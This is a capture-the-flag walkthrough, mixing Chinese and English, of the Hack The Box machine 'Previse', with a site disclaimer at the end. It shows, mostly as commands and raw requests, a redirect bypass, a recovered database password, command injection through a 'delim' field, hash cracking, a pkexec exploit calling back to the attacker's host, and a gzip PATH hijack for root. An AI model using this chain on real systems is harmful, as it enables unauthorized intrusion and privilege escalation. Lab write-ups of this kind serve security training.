Information Gathering

$ ip='10.10.11.104'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53ed4440116e8bda698579c081f23a12 (RSA)
|   256 bc5420ac1723bb5020f4e16e620f01b5 (ECDSA)
|_  256 33c189ea5973b1788438a421100c91d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

EAR && Php files analysis RCE

$ feroxbuster -u 'http://10.10.11.104' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

http://10.10.11.104/nav.php

删除相应包中Location: login.php。

POST /accounts.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/accounts.php
Cookie: PHPSESSID=a68gg2tk2nehln8jm9bvie7q99
Upgrade-Insecure-Requests: 1

username=maptnh&password=maptnh&confirm=maptnh&submit=

http://10.10.11.104/download.php?file=32

$ unzip siteBackup.zip

logs.php

用户名:m4lwhere

$ cat config.php

username:root
password:mySQL_p@ssw0rd!:)

POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.11.104/nav.php
Cookie: PHPSESSID=a68gg2tk2nehln8jm9bvie7q99
Upgrade-Insecure-Requests: 1
Content-Length: 30


delim=;ping -c 1 10.10.16.28

User.txt

62f7407560ca5d003a6fd3a917ec8bdf

Lateral Movement

$ mysql -u root -p'mySQL_p@ssw0rd!:)'

mysql> select * from accounts;

不能在这里直接复制...需要在accounts.php寻找可复制的盐

$1$xxxllol$DQpmdvnb7EeuO6UaqRItf.

$ john hash --wordlist=/home/maptnh/Desktop/rockyou.txt --format=md5crypt-long

password:ilovecody112235!

Privilege Escalation:TRP00F && Gzip Path Hijack

TRP00F

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.28 --lport 10000 --rhost 10.10.16.28 --rport 10032 --http 9999

[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >y

Gzip Path Hijack

$ export PATH=/tmp:$PATH
$ echo -e '#!/bin/bash\n/bin/bash'>/tmp/gzip
$ chmod +x /tmp/gzip
$ sudo /opt/scripts/access_backup.sh

Root.txt

440aff1f3d4da77970e98a9dc5257cfd

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）